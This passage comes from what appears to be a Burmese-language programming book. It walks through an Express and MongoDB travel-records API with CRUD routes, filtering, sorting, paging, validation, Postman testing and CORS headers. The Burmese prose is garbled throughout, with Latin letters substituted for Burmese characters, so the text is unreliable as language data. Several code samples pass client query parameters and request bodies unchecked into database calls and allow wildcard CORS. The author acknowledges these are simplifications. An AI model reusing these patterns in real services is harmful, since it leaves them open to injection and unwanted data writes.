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extended: false Option က မgoစ်မdန dပးရမယ်လ့ုိ သတ်မှတ်ထားလ့ုိ ထည့်dပးထားတာပါ။ URL
Encode/Decode  လုပ်oို့အတွက်  Node  မှာ  Build-in  လုပ်dဆာင်ချက်  ပါပါတယ်။  အ့ဲဒါကို  သံုးချင်ရင်
extended: false လ့ုိ dပးရတာပါ။ Node ရဲ့ လုပ်dဆာင်ချက်ကို မသံုးzဲ body-parser နဲ့အတူ
ပါတဲ့  လုပ်dဆာင်ချက်ကို  သံုးချင်ရင်  true dပးရမှာ  goစ်ပါတယ်။  ဒီလုိ  deကညာသတ်မှတ်ပြပီးdနာက်
Request Body မှာပါတဲ့ အချက်အလက်dတွကို JSON အdနနဲ့ req.body ကdန အသင့်သံုးလ့ုိရသွားမှာ
goစ်ပါတယ်။

use() Function  ကို  Middleware  dတွ deကညာo့ုိသံုးပါတယ်။  Middleware    ဆိုတာ လုိရင်းအနှစ်ချုပ်  
ကdတာ့    Request    တစ်ခုဝင်လာတာနဲ့  eကားထဲကoမ်းပြပီး  အလုပ်လုပ်dပးမယ့်  လုပ်dဆာင်ချက်dလးdတွ  
ပါ။  use() ကိုသံုးပြပီး  သတ်မှတ်ထားတဲ့  လုပ်dဆာင်ချက်တိုင်းကို၊  Request  ဝင်လာတိုင်း၊  ဝင်လာတဲ့
Request dပါ်မှာ လုပ်dပးလုိက်မှာ goစ်ပါတယ်။

ဆက်လက်ပြပီး Travel Records dတွအားလံုးကို gပန်dပးတဲ့ လုပ်dဆာင်ချက်ကိုdရးပါမယ်။ ဒီလုိပါ -

 JavaScript 
app.get("/api/records", function(req, res){
    db.records.find(function(err, data) {
        if(err) {
            return res.sendStatus(500);
        } else {
            return res.status(200).json({
                meta: { total: data.length },
                data
            });
        }
    });
});

Request Method GET goစ်ရပါမယ်။ URL က /api/records goစ်ပါတယ်။ ပထမဆုံး find() နဲ့ ရှိ
သမျှ  records dတွအကုန်ထုတ်ယူပါတယ်။  အdeကာင်းအမျ ို းမျ ို းdeကာင့်  Error  goစ်dနရင်  500
Internal  Server  Error  gပန်ပ့ုိပါတယ်။  Error  မgoစ်ရင်dတာ့  Data  Envelope  ထဲမှာ  data နဲ့အတူ
meta.total ပါ ထည့်dပးလုိက်တာပါ။ ဒါdeကာင့် အခုdနစမ်းeကည့်ရင် ရလဒ်က ဒီလုိgoစ်မှာပါ။
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ပြပီးတဲ့အခါ တစ်လက်စတည်း Sorting dတွ၊  Paging dတွ၊  Filter dတွ အကုန်gပည့်စုံdအာင် ထည့်ပါမယ်။
အ့ဲဒါdတွမထည့်ခင် URL Query dတွကို Express က zယ်လုိလက်ခံ  စီမံသလဲ စမ်းeကည့်လ့ုိရdအာင် အခု
လုိdလး အရင်dရးeကည့်သင့်ပါတယ်။

 JavaScript 
app.get("/test", function(req, res) {
    return res.json(req.query);
});

ဒီကုဒ်က  Request  နဲ့အတူပါဝင်လာတဲ့  URL Query  ကိုပဲ gပန်dပးထားတာပါ။ ဒါdပမယ့်  JSON  အdနနဲ့
gပန်dပးတာgoစ်လ့ုိ  URL Query ကို  JSON dgပာင်းလုိက်တဲ့အခါ zယ်လုိပံုစံရသလဲ dလ့လာeကည့်o့ုိပါ။ ဒီ
URL နဲ့ စမ်းeကည့်ပါ။

localhost:8000/test?sort[name]=1&filter[from]=Yangon&filter[to]=Yangon&page=2

ရလဒ်က အခုလုိgoစ်မှာပါ။ dသချာdလး Zရုgပုeကည့်dပးပါ။
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ကိုယ့်zက်က zာမှလုပ်dပးစရာမလုိzဲ URL Query က အသင့်သံုးလုိ့ရတဲ့ JSON Structure dလးနဲ့ ရdန
တာကို dတွ့ရနိုင်ပါတယ်။ စနစ်ကျတဲ့  API URL ကို အသံုးgပုgခင်းရဲ့ အကျ ို းပါ။ ဒီသdzာကို gမင်ပြပီဆိုရင်
dစာdစာက /records အတွကd်ရးထားတဲ့ ကုဒ်ကို အခုလုိgပင်dပးလုိက်ပါ။

 JavaScript 
app.get("/api/records", function(req, res){
    const options = req.query;
    // validate options, send 400 on error

    const sort = options.sort || {};
    const filter = options.filter || {};
    const limit = 10;
    const page = parseInt(options.page) || 1;
    const skip = (page - 1) * limit;
    for(i in sort) {
        sort[i] = parseInt(sort[i]);
    }

    db.records.find(filter)
        .sort(sort)
        .skip(skip)
        .limit(limit, function(err, data) {
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            if(err) {
                return res.sendStatus(500);
            } else {
                return res.status(200).json({
                    meta: { total: data.length },
                    data
                });
            }
        });
});

ဒါ Filter, Sorting, Paging လုပ်dဆာင်ချက်အားလံုး ပါဝင်သွားတာပါ။ Sort နဲ့ Filter အတွက် တန်oုိးdတွ
ကို  Client  dပးတဲ့အတိုင်း  URL Query ကdနပဲ ယူထားတာပါ။  Paging အတွက်  Client ကdပးတဲ့  Page
နံပါတ်ကိုသံုးပြပီး skip တန်oုိးကို ကိုယ့်zာသာ တွက်ယူပါတယ်။ Sorting အတွက် Client ကdပးတဲ့ 1,
-1 Value  dတဟွာ  String  အdနနဲ့လာမှာပါ။  MongoDB  က  Integer  နဲ့မှအလုပ်လုပ်တာမုိ့လ့ုိ  sort
Options dတွကိုdတာ့  Loop လုပ်ပြပီး  Integer  dgပာင်းထားပါတယ်။ ကျန်တာကdတာ့ ရလာတဲ့  Options
dတွကို filter, sort, skip, limit စသgoင့် သ့ူdနရာနဲ့သူ ထည့်dပးလုိက်တာပါပဲ။ ဒီကုဒ်မျ ို း
က စာနဲ့ရှင်းတာထက်စာရင် dရးထားတဲ့  ကုဒ်ကိုoတ်eကည့်တာ ပုိထိdရာက်ပါတယ်။ oတ်eကည့်လုိက်ပါ။
နားလည်ရလွယ်dအာင်dရးထားပါတယ်။

တစ်ကယ်လက်dတွ့ ပdရာZျက်မှာဆိုရင်dတာ့  Client  dပးတဲ့  Option  dတွကို  Validate  လုပ်သင့်ပါdသး
တယ်။ မပါသင့်တာdတွပါလာမှာ စိုးလို့ပါ။ သ့ုိမဟုတ် dပးပံုdပးနည်း မှားdနတာdတွ goစ်မှာစိုးလ့ုိပါ။ ဒီမှာ
dတာ့ အ့ဲဒီကိစ္စကို ထည့်မစစ်dတာ့ပါzူး။ စမ်းeကည့်လ့ုိ ရdနပါပြပီ။ ဥပမာစမ်းချင်ရင် ဒီလုိစမ်းနိုင်ပါတယ်။

localhost:8000/api/records?filter[to]=Yangon&sort[name]=1&page=1

ဒါဆိုရင်  to: Yangon dတွအားလံုးကို  name နဲ့စီပြပီး  gပန်dပးမှာgoစ်ပါတယ်။  filter မှာ  name,
nrc, from, to, with ကြကိုက်တာနဲ့  dရးွထုတ်လို့ရလ့ုိ  ကျွန်dတာ်တို့ပdရာZျက်မှာ  ပါdစချင်တဲ့
နာမည်နဲ့  gပန်ရှာထုတ်လုိ့  ရတာdတွ၊  မှတ်ပုံတင်နဲ့  gပန်ရှာထုတ်လ့ုိ  ရတာdတွ၊  ပြမို့အလုိက်  အကုန်gပန်
ထုတ်ယူလုိ့ ရတာdတွ တစ်ချက်တည်းနဲ့ အကုန်ပါဝင်သွားတာ goစ်ပါတယ်။

Request  zက်ကလာတဲ့  Query  dတွကို  လက်ခံအလုပ်လုပ်ပံု  gပည့်စုံပြပီဆိုdပမယ့်  Response  Data
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Envelope  မှာ မgပည့်စုံdသးပါzူး။ ဒါdeကာင့် အ့ဲဒီကုဒ်မှာပဲ  json() Response  ကို ဒီလုိdလး ထပ်gပင်
dပးo့ုိ လုိပါdသးတယ်။

 JavaScript 
res.status(200).json({
    meta: {
        skip,
        limit,
        sort,
        filter,
        page,
        total: data.length,
    },
    data,
    links: {
        self: req.originalUrl,
    }
});

ဒါဆိုရင် အသံုးဝင်တဲ့ meta Information dတွ ပါဝင်သွားမှာgoစ်လုိ့ စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိပံုစံရ
မှာgoစ်ပါတယ်။
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links အတွက်dတာ့  self တစ်ခုပဲ  ထည့်ထားပါတယ်။  တစ်ကယ်dတာ့  Paging  အတွက်  next,
prev, first, last စသgoင့် တgခားလိုအပ်မယ့်  Links  dတွ တွက်ပြပီးထည့်dပးသင့်ပါdသးတယ်။
dရးရမယ့်ကုဒ် များသွားမှာမ့ုိလုိ့ မထည့်dတာ့ပါzူး။ ဆိုလုိရင်းကို သdzာdပါက်မယ်လ့ုိယူဆပါတယ်။

ဆက်လက်ပြပီးdတာ့ Record အသစ်dတွ ထပ်ထည့်လ့ုိရတဲ့ လုပ်dဆာင်ချက်ကို ဆက်သွားပါမယ်။ Record
အသစ်ထည့်o့ုိအတွက် မထည့်ခင်  Package  dလးတစ်ခုအရင်  Install  လုပ်eကပါဦးမယ်။  Request Body
မှာပါလာတဲ့ အချက်အလက်dတွကို Validation စစ်o့ုိအတွက် express-validator ကို Install လုပ်
မှာပါ။ ဒီလုိပါ -

npm i express-validator

ပြပီးတဲ့အခါ အခုလုိ Import လုပ်ပြပီး စသံုးလ့ုိရပါပြပီ။

 JavaScript 
const { 
    body,
    param, 
    validationResult 
} = require("express-validator");

body, param နဲ့  validationResult ဆိုတဲ့  (၃)  ခု  express-validator ကdန  Import
လုပ်ယူထားတာပါ။  body ကိုသုံးပြပီး  Request  Body  dတွကို  Validate  စစ်ပါမယ်။  param ကိုသံုးပြပီး
Dynamic  Route  တန်oုိးdတွကို  Validate  စစ်ပါမယ်။  တgခားဟာdတွ  ကျန်ပါdသးတယ်။  query တို့
header တို့ကိုလည်း  စစ်ချင်ရင်  စစ်လ့ုိရပါdသးတယ်။  စစ်dဆးမှုရလဒ်ကို  validationResult
ကdန gပန်လည်ရယူရမှာပါ။ Record အသစ်ထည့်တဲ့ကုဒ်dတွdရးလို့ရပါပြပီ။
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 JavaScript 
app.post("/api/records", [
    body("name").not().isEmpty(),
    body("from").not().isEmpty(),
    body("to").not().isEmpty(),
], function(req, res) {

    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }

    db.records.insert(req.body, function(err, data) {
        if(err) {
            return res.status(500);
        }

        const _id = data._id
        res.append("Location", "/api/records/" + _id);
        return res.status(201).json({ meta: { _id }, data });
    });
});

Method POST ကိုသံုးရမှာgoစ်ပြပီး  URL ကdတာ့ /api/records ပါပဲ။  Callback Function မတိုင်ခင်
eကားထဲက ဒုတိယ Parameter  အdနနဲ့  Validation  စစ်ထားပါတယ်။ ဒီကုဒ်မှာdတာ့  "zာdတွပါရမယ်"
လ့ုိပဲ စစ်ထားတာပါ။ ကားနံပါတ်မ့ုိလုိ့ စာလံုး (၆) လံုးပါရမယ်တို့၊ လူနာမည်မ့ုိလုိ Special Character dတွ
မပါရzူးတို့၊  စသgoင့် အdသးစိတ် စစ်မထားပါzူး။  စစ်ချင်တယ်ဆိုရင်  စစ်လ့ုိရတဲ့  Rule  dတွအားလံုးကို
ဒီမှာeကည့်လ့ုိ ရပါတယ်။

- https://github.com/validatorjs/validator.js#validators

ပြပီးတဲ့အခါ  Validation Result  ကို  စစ်eကည့်ပြပီး  Error  ရိှdနတယ်ဆိုရင်  400 ကို  gပန်dပးထားပါတယ်။
Validation Error  မရှိzူးဆိုdတာ့မှ  insert() နဲ့ထည့်လုိက်တာပါ။  POST နဲ့  အသစ်ထည့်တာgoစ်လို့
dအာင်gမင်တဲ့အခါ  201 ကို  gပန်dပးပြပီး  Location Header  ကိုပါ တွဲoက် ထည့်သွင်းdပးထားပါတယ်။
Response Body ကိုdတာ့ ထံုးစံအတိုင်း Data Envelope နဲ့ တွဲပြပီး gပန်dပးပါတယ်။

https://github.com/validatorjs/validator.js#validators
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ဒါကို  စမ်းeကည့်နိုင်o့ုိအတွက်  API  Testing  Tool  တစ်ခုခdုတာ့  လုိပါလိမ့်မယ်။  cURL,  Insomnia,
Postman စသgoင့် Tool အမျ ို းမျ ို းရှိတဲ့ထဲက Postman လ့ုိdခါ်တဲ့  API Testing ပရိုZရမ်တစ်ခုကို သံုးမှာ
ပါ။ ဒီမှာ Download လုပ်ပြပီး Install လုပ်လုိ့ရပါတယ်။

- https://www.postman.com/

Install လုပ်ပြပီးတဲ့အခါ oွင့်လုိက်ပါ။ ပြပီးရင်ဆက်လက်doာ်gပတဲ့ပံုမှာ gပထားသလုိ Method dနရာမှာ POST
ကိdုရွးပြပီး API URL ကို  အgပည့်အစုံ မှန်dအာင်ရိုက်ထည့်လုိက်ပါ။ Send နှိပ်eကည့်ရင် ကျွန်dတာ်တို့ရဲ့ API
Server ကို Postman က Request dပးပ့ုိသွားမှာ goစ်ပါတယ်။

နမူနာပံုမှာ Response အdနနဲ့  Validation Error Message dတွကို dတွ့gမင်ရgခင်းgoစ်ပါတယ်။ Request
Body အတွက် လုိအပ်မယ့်အချက်အလက်dတွ ထည့်ပြပီးစမ်းနိုင်o့ုိ  URL Bar dအာက်က Body Tab ကိုနှိပ်
ပြပီး x-www-form-urlencoded ကိုထပ်ဆင့်dရွးပါ။ dနာက်တစ်မျက်နှာက နမူနာပံုကိုeကည့်ပါ။ ကျွန်dတာ်
တို့  API  က  JSON  dရာ  URL Encoded  ကိုပါ လက်ခံအလုပ်လုပ်နိုင်ပါတယ်။ တစ်ကယ့်  Request Data

https://www.postman.com/
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အမှနက်dတာ့ JSON goစ်သင့်ပါတယ်။ ဒါdပမယ့် အခုdလာdလာဆယ် စမ်းeကည့်o့ုိအတွက် JSON dတွကို
Format  မှန်dအာင် ကိုယ့်zာသာ ရိုက်ထည့်dနရမှာစိုးလို့  ပုိပြပီးထည့်ရလွယ်တဲ့  URL Encoded  နဲ့ပဲ  စမ်း
eကည့်လိုက်ပါ။

အခုဆိုရင် အသစ်ထည့်တဲ့လုပ်dဆာင်ချက်လည်း ရသွားပါပြပီ။ တစ်ကယ်ဆိုရင်dတာ့ ကုဒ်ဒီဇုိင်းကို ဒီထက်
ပုိdကာင်းdအာင် gပင်ရဦးမှာပါ။  req.body ကြကီးကို  Database  ထဲ ပစ်ထည့်လိုက်တာ လက်dတွ့မကျပါ
zူး။ မလုိလားအပ်တာdတွ ဝင်ကုန်ပါမယ်။ ဒါdပမယ့် အခရုှင်းgပချင်တာက ကုဒ်ဒီဇုိင်းပုိင်းမဟုတ်zဲ၊  API
ရဲ့ သdzာသzာဝကို ရှင်းgပချင်တာမ့ုိလ့ုိ oတ်ရ၊ နားလည်ရလွယ်dအာင် နမူနာကုဒ်dတွကို အလွယ် dရး
gပထားတယ်ဆိုတာကို သတိgပုdပးပါ။

ဆက်လက်ပြပီးdတာ့ ရိှပြပီးသား အချက်အလက်dတွ gပင်ဆင်dပးနိုင်တဲ့လုပ်dဆာင်ချက်ကို ဆက်dရးသွားပါ
မယ်။ PUT နဲ့ PATH နှစ်မျ ို းရှိပြပီး နှစ်မျ ို းလံုးနဲ့ နမူနာdရးgပပါမယ်။
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 JavaScript 
app.put("/api/records/:id", [
    param("id").isMongoId(),
], function(req, res) {
    const _id = req.params.id;
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }

    db.records.count({
        _id: mongojs.ObjectId(_id)
    }, function(err, count) {
        if(count) {
            const record = {
                _id: mongojs.ObjectId(_id),
                ...req.body
            };
            
            db.records.save(record, function(err, data) {
                return res.status(200).json({
                    meta: { _id },
                    data
                });
            });
        } else{
            db.records.save(req.body, function(err, data) {
                return res.status(201).json({
                    meta: { _id: data._id },
                    data
                });
            });
        }
    });
});

Request  Method  PUT နဲ့လာတဲ့အခါ  URL  မှာ  ID  ထည့်dပးရပါတယ်။  အ့ဲဒီ  ID  ဟာ  MongoDB  က
အသံုးgပုတဲ့ ID ဟုတ်မဟုတ် param() နဲ့ Validation စစ်ထားပါတယ်။ Request Body ကိုdတာ့ စစ်မgပ
dတာ့ပါzူး။  ကုဒ်တိုသွားdအာင်လုိ့ပါ။  တစ်ကယ်တမ်း  gပည့်စုံချင်ရင်dတာ့  စစ်ရမှာပါ။  dရးထားတဲ့  ကုဒ်
အရ dပးလာတဲ့ ID နဲ့ ရှာeကည့်ပြပီး ရှရိင် Update လုပ်dပးမှာgoစ်ပါတယ်။ PUT Method goစ်ပြပီး save()
Function ကိုသုံးတဲ့အတွက် အစားထုိးတဲ့နည်းနဲ့ Update လုပ်မှာပါ။ ရှာလ့ုိ မdတွ့ရင်dတာ့ အသစ်တစ်ခု
အdနနဲ့ ထည့်dပးမှာgoစ်ပါတယ်။ _id ကို ObjectId() ထဲမှာ ထည့်dပးရတာကို သတိgပုပါ။
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PATCH အတွက် အခုလုိထပ်dရးပြပီးစမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 
app.patch("/api/records/:id", function(req, res) {
    const _id = req.params.id;
    db.records.count({ 
        _id: mongojs.ObjectId(_id) 
    }, function(err, count) {
        if(count) {
            db.records.update(
                { _id: mongojs.ObjectId(_id) },
                { $set: req.body },
                { multi: false },
                function(err, data) {
                    db.records.find({
                        _id: mongojs.ObjectId(_id) 
                    }, function(err, data) {
                        return res.status(200).json({
                            meta: { _id }, data 
                        });
                    });
                }
            )
        } else {
            return res.sendStatus(404);
        }
    });
});

ဒီနမူနာမှာdတာ့  ID  ကို  MongoDB ID  ဟုတ်မဟုတ်  Validation  စစ်တဲ့ကုဒ် ထပ်ထည့်မdပးdတာ့ပါzူး။
ပြပီးခဲ့တဲ့  နမူနာမှာ  ထည့်gပပြပီးသား  မ့ုိလို့ပါ။  gပည့်စုံချင်ရင်  dနာက်မှကိုယ့်zာသာ ထပ်ထည့်လုိက်ပါ။  ပြပီး
dတာ့  နည်းနည်းကွဲgပားသွားdအာင်  ID  နဲ့ရှာမdတွ့ရင်  အသစ်ထည့်မdပးdတာ့ပါzူး။  404 ကိုပဲgပန်
dပးလုိက်ပါdတာ့တယ်။ ရှာလ့ုိ dတွ့ပြပီဆိုdတာ့မှာ  update() နဲ့ gပင်dပးလုိက်ပါတယ်။  PATCH goစ်တဲ့
အတွက် လုိတဲ့အပုိင်းကိုပဲdရွးပြပီး Update လုပ်dပးလိုက်တာပါ။

တစ်ခုပဲ ကျန်ပါdတာ့။ Delete ပါ။ အခုလုိdရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။
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 JavaScript 
app.delete("/api/records/:id", function(req, res) {
    const _id = req.params.id;
    db.records.count({
        _id: mongojs.ObjectId(_id) 
    }, function(err, count) {
        if(count) {
            db.records.remove({
                _id: mongojs.ObjectId(_id)
            }, function(err, data) {
                return res.sendStatus(204);
            });
        } else{
            return res.sendStatus(404);
        }
    });
});

ID  နဲ့  ရှာလ့ုိdတွ့ရင်oျက်ပြပီး  204က္က��  gပန်dပးပါတယ်။  မdတွ့ရင်dတာ့  404 ကို  gပန်dပးလုိက်တာပါ။
Response Body dတာ့ gပန်မdပးdတာ့ပါzူး။ 

အခုဆိုရင် Create, Read, Update, Delete လုပ်dဆာင်ချက်အgပည့်စုံပါဝင်တဲ့ API Service dလးတစ်ခု ရ
သွားပြပီပဲ  goစ်ပါတယ်။  ရည်ရွယ်ချက်ကdတာ့  ခရီးသွားမှတ်တမ်းdတွကို  ထည့်သွင်းသိမ်းဆည်းထားပြပီး
လုိအပ်တဲ့အခါ၊ name, nrc, from, to, with စသgoင့် ကိုယ်လုိတဲ့ အချက်အလက်နဲ့ gပန် Filter
လုပ်ပြပီး စစ်dဆးeကည့်နိုင်oုိ့ပဲ goစ်ပါတယ်။ 

တစ်ကယ့်လက်dတွ့အသုံးချအဆင့်  dရာက်ချင်ရင်dတာ့  နာမည်အတိအကျ သိစရာမလုိzဲ  Search  လုပ်
နိုင်တဲ့  လုပ်dဆာင်ချက်dတွ၊  byTrain,  byCar စသgoင့်  Transportation  အမျ ို းမျ ို းနဲ့  သိမ်းလုိ့
ရdအာင် လုပ်dပးတာdတွ၊ သွားခဲ့တဲ့ ခရီးစဉ်dတွကို ချတိ်ဆက်ပြပီး လမ်းdeကာင်းgပတာdတွ၊ ခရီးစဉ်တစ်ခု
နဲ့တစ်ခု  အချတိ်အဆက်  မမိzဲ  eကားထဲမှာ  dပျာက်dနရင်  သတိdပးတာdတွ  လုပ်လို့ရပါတယ်။  နမူနာ
ကdတာ့ ဒီdလာက်ဆိုရင် လံုdလာက်ပြပီမ့ုိလ့ုိ ဒါdတွထည့်မdရးdတာ့ပါzူး။ ကိုယ်zာသာ Exercise လုပ်တဲ့
သdzာနဲ့  စမ်းထည့်ချင်ရင် ထည့်လ့ုိရdအာင် dgပာgပတဲ့သdzာပါ။ dရးခဲ့တဲ့နမူနာကုဒ်dတွကို  လုိအပ်ရင်
ဒီမှာ Download လုပ်လ့ုိရပါတယ်။

- https://github.com/eimg/api-book

https://github.com/eimg/api-book
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အခန်း (၇၄) – CORS

HTTP မှာ CORS လ့ုိdခါ်တဲ့ သdzာသzာဝတစ်ခု ရှိပါdသးတယ်။ API dလ့လာသူများ မသိမgoစ် သိထား
o့ုိ လုိအပ်ပါတယ်။  Cross-Origin Resource Sharing  ဆိုတဲ့အဓိပ္ပါယ်ပါ။  Web Browser  dတွမှာ အဓိက
အားgoင့် အသံုးgပုeကတဲ့ လံုခြခုံdရးအစီအမံတစ်ခုပါ။

သ့ူရဲ့လုိရင်းသdzာကdတာ့  Origin (Host, Domain, Port)   မတရူင်   Request   dတွ ပ့ုိခွင့်မgပုgခင်း   goစ်ပါ
တယ်။ Server က Origin မတူလည်းပဲ လက်ခံပါတယ်လို့ သီးသန့်ခွင့်gပုထားမှသာ Request dတွကို dပး
ပ့ုိမှာ goစ်ပါတယ်။ ဥပမာ - Client က locahost မှာအလုပ်လုပ်dနပြပီး Server ကလည်း localhost
မှာပဲအလုပ်လုပ်dနတာဆိုရင်  Request  dတွ dပးပ့ုိလ့ုိ  ရပါတယ်။  Origin  တူလ့ုိပါ။  zာgပဿနာမှ မရှိပါ
zူး။ Client က localhost:3000 မှာ အလုပ်လုပ်dနပြပီး Server က localhost:8000 မှာအလုပ်
လုပ်dနတာဆိုရင် CORS နဲ့ ညိသွားပါပြပီ။ localhost ချင်းတူdပမယ့် Port မတူလ့ုိ Origin မတူdတာ့ပါ
zူး။  Request  dတွdပးပို့တာကို  Browser က ခွင့်gပုမှာ မဟုတ်dတာ့ပါzူး။  localhost နဲ့ ဥပမာdပး
dပမယ့်  လက်dတွ့မှာလည်း  အတူတူပါပဲ။  domain-a.com ကdန  domain-b.com ကို  Request
dတွdပးပ့ုိo့ုိ ကြကိုးစားတဲ့အခါ Browser ကလက်ခံမှာမဟုတ်ပါzူး။ စမ်းသပ်ချင်ရင် HTML Document တစ်
ခုတည်dဆာက်ပြပီး ဒီကုဒ်ကို dရးစမ်းeကည့်ပါ။
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 HTML/JavaScript 
<script>
    fetch("http://localhost:8000/api/records")
        .then(function(res) {
            return res.json();
        })
        .then(function(json) {
            console.log(json);
        });
</script>

ကျွန်dတာ်တိုရ့ဲ့  API  ကို  JavaScript  ရဲ့  fetch() Function  သံုးပြပီး  Request  dပးပ့ုိလုိက်တာပါ။ စမ်း
eကည့်နိုင်o့ုိ  API Server Run  ထားdပးoုိ့dတာ့ လုိပါတယ်။ dရးထားတဲ့  ကုဒ်အရ  Server  က gပန်dပးတဲ့
Response  ကို  JSON  dgပာင်းပြပီး  Console  မှာ ရိုက်ထုတ်ခိုင်းလိုက်ပါတယ်။ ဒီကုဒ်ကို  Browser  မှာ စမ်း
eကည့်ရင် အခုလုိ Error ကို ရရိှမှာgoစ်ပါတယ်။

ဒါဟာ Browser က Origin မတူတဲ့အတွက် CORS နဲ့ ညိdနလ့ုိ dပးတဲ့ Error ပါ။

CORS နဲ့ ညိdနလ့ုိဆိုပြပီး  Request  dတွ လံုးဝမပ့ုိတာdတာ့ မဟုတ်ပါzူး။  OPTIONS Method ကိုသုံးပြပီး
Origin  မတူတာကို  လက်ခံလုိgခင်း  ရှိမရှိ  Server  ကို  လှမ်းdတာ့  dမးdပးပါတယ်။  Browser  က အလို
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အdလျှာက်  dမးdပးတာပါ။  ကိုယ်zက်က  အ့ဲဒီလုိdမးdပးo့ုိ  သတ်မှတ်dပးစရာ  မလိုပါzူး။  CORS  ရဲ့
အလုပ်လုပ်ပံု အဆင့်ဆင့်ကို ဆက်လက်doာ်gပတဲ့ပံုမှာ dလ့လာeကည့်ပါ (ပံု - MDN)။

ပထမဆုံး  Browser  က  OPTIONS Method  ကိုသံုးပြပီး  Request  ပ့ုိပါတယ်။  မူလ  Origin က
foo.example goစ်ပြပီး  dပးပ့ုိလိုတဲ့  Method  က  POST goစ်deကာင်း  Access-Control-
Request-Method Header နဲ့dgပာပါတယ်။ ပုိ့လုိတဲ့ Headers စာရင်းကိုလည်း ထည့်dgပာပါတယ်။
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Server  က  ခွင့်မgပုzူးဆိုdတာ့မှ  dစာdစာက  Error  ကို  dတွ့ရတာပါ။  ခွင့်gပုတယ်ဆိုရင်  Server  က
Access-Control-Allow-* နဲ့ စတဲ့ Headers dတွကို gပန်ပ့ုိdပးပါတယ်။ ခွင့်gပုတဲ့ Origin dတွ၊ ခွင့်
gပုတဲ့  Methods dတွ၊ ခွင့်gပုတဲ့  Headers dတွကို စာရင်းနဲ့ gပန်ပ့ုိတာပါ။ ဒီလုိ  Server  က ခွင့်gပုတယ်ဆို
dတာ့မှ  Browser  က  မူလdပးပ့ုိလုိတဲ့  Request  dတွကို  ဆက်ပြပီးdပးပ့ုိdပးသွားမှာပဲ  goစ်ပါတယ်။  ဒီ
သdzာသzာဝကို Preflight Request လ့ုိ dခါ်ပါတယ်။ ဒါဟာ CORS ရဲ့ အလုပ်လုပ်ပံု အနှစ်ချုပ်ပါပဲ။

ဒီdတာ့ ကျွန်dတာ်တို့  API zက်က CORS Request dတွကို ခွင့်gပုမှာလား စဉ်းစားစရာရှိလာပါပြပီ။ ခွင့်gပု
မယ်ဆိုရင်dတာ့ အခုလုိ dရးသားသတ်မှတ်ပြပီး ခွင့်gပုdပးနိုင်ပါတယ်။

 JavaScript 
app.get("/api/records", function(req, res) {
    res.append("Access-Control-Allow-Origin", "*");
    res.append("Access-Control-Allow-Methods", "*");
    res.append("Access-Control-Allow-Headers", "*");
    … 
});

Headers (၃)  ခု ထည့်dပးလုိက်တာပါ။  Access-Control-Allow-Origin နဲ့  ခွင့်gပုလုိတဲ့  Host
dတွကို သတ်မှတ်dပးနိုင်ပါတယ်။ နမူနာမှာ * ကိုdပးထားလ့ုိ Origin zယ်ကလာလာ အကုန် ခွင့်gပုတယ်
ဆိုတဲ့ အဓိပ္ပါယ်ရပါတယ်။ http://a.com, http://b.com စသgoင့် ခွင့်gပုလုိတဲ့ Host dတတွန်း
စီပြပီး  dပးထားလို့လည်းရပါတယ်။  Access-Control-Allow-Methods ကdတာ့  ခွင့်gပုလုိတဲ့
Methods စာရင်းအတွက်ပါ။ အတူတူပါပဲ၊ တစ်ခုချင်းdပးချင်ရင် GET, HEAD, POST စသgoင့် တန်းစီ
ပြပီးdပးထားလ့ုိရပါတယ်။ အကုန်dပးချင်ရင်dတာ့ နမူနာမှာလုိ  *  ကိုdပးလုိက်ရင် ရပါတယ်။ ဒီdလာက်ဆို
သdzာdပါက်မယ်ထင်ပါတယ်။ Headers လည်း ထုိနည်းလည်းdကာင်း အတူတူပါပဲ။

dရးထားတဲ့ကုဒ်အရ /api/records URL တစ်ခုတည်းအတွက်ပဲ CORS Headers dတွ သတ်မှတ်ထား
တာပါ။ ဒါdeကာင့် တgခား URL dတွအတွက် အလုပ်လုပ်မှာ မဟုတ်ပါzူး။ အားလံုးအတွက် အလုပ်လုပ်dစ
ချင်ရင် အခုလုိ dရးလ့ုိရပါတယ်။
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 JavaScript 
app.use(function(req, res, next) {
    res.append("Access-Control-Allow-Origin", "*");
    res.append("Access-Control-Allow-Methods", "*");
    res.append("Access-Control-Allow-Headers", "*");
    next();
});

use() ရဲ့အကူအညီနဲ့  Response  အားလံုးအတွက်  CORS Headers  dတွသတ်မှတ်dပးလိုက်တာပါ။ ဒါ
ဟာ Middleware တစ်ခုgoစ်လို့  next() ကိုသတိgပုပါ။ သ့ူရဲ့အဓိပ္ပါယ်က ဒီ Middleware ကိုအလုပ်လုပ်
ပြပီးရင် dရှ့ဆက်ပြပီး လုပ်စရာရှိတာ လုပ်သွားdစo့ုိgoစ်ပါတယ်။ ဒီလုိကိုယ့်zာသာ မdရးချင်zူးဆိုရင်လည်း
cors လ့ုိdခါ်တဲ့ Package တစ်ခရုှိပါတယ်။ install လုပ်ပြပီး သံုးလ့ုိရပါတယ်။

npm i cors

dရးပုdံရးနည်းကရှင်းပါတယ် ဒီလုိပါ။

 JavaScript 
const cors = require("cors");
app.use(cors());

ဒါပါပဲ။  ဒါဆိုရင်  dစာdစာက  ကျွန်dတာ်တို့  Manual  ကိုယ့်zာသာ  သတ်မှတ်dပးလုိက်ရတဲ့  CORS
Headers dတွ dပးစရာမလိုdတာ့ပါzူး။ အလုိအdလျှာက် ပါဝင်သွားမှာ goစ်ပါတယ်။ Host dတွ Method
dတွ အကုန်လက်ခံချင်တာမဟုတ်zူး၊ dရွးပြပီးလက်ခံချင်တယ်ဆိုရင်လည်း Options dတွ အခုလုိdပးလ့ုိရ
ပါတယ်။

 JavaScript 
app.use(cors({
    origin: ["http://a.com", "http://b.com"],
    methods: ["GET", "POST"],
    allowHeaders: ["Authorization", "Content-Type"] 
}));
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ဒါdeကာင့် dရးနည်းကမခက်zူးလုိ့ ဆိုနိုင်ပါတယ်။ နည်းပညာရဲ့ သdzာကို သိထားo့ုိသာ လုိအပ်တာပါ။
ဒီdလာက်ဆိုရင် CORS ရဲ့ သdzာသzာဝ လုိရင်းအနှစ်ချုပ်ကို သdzာdပါက်မယ်လ့ုိ ယူဆပါတယ်။
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အခန်း (၇၅) – API Auth

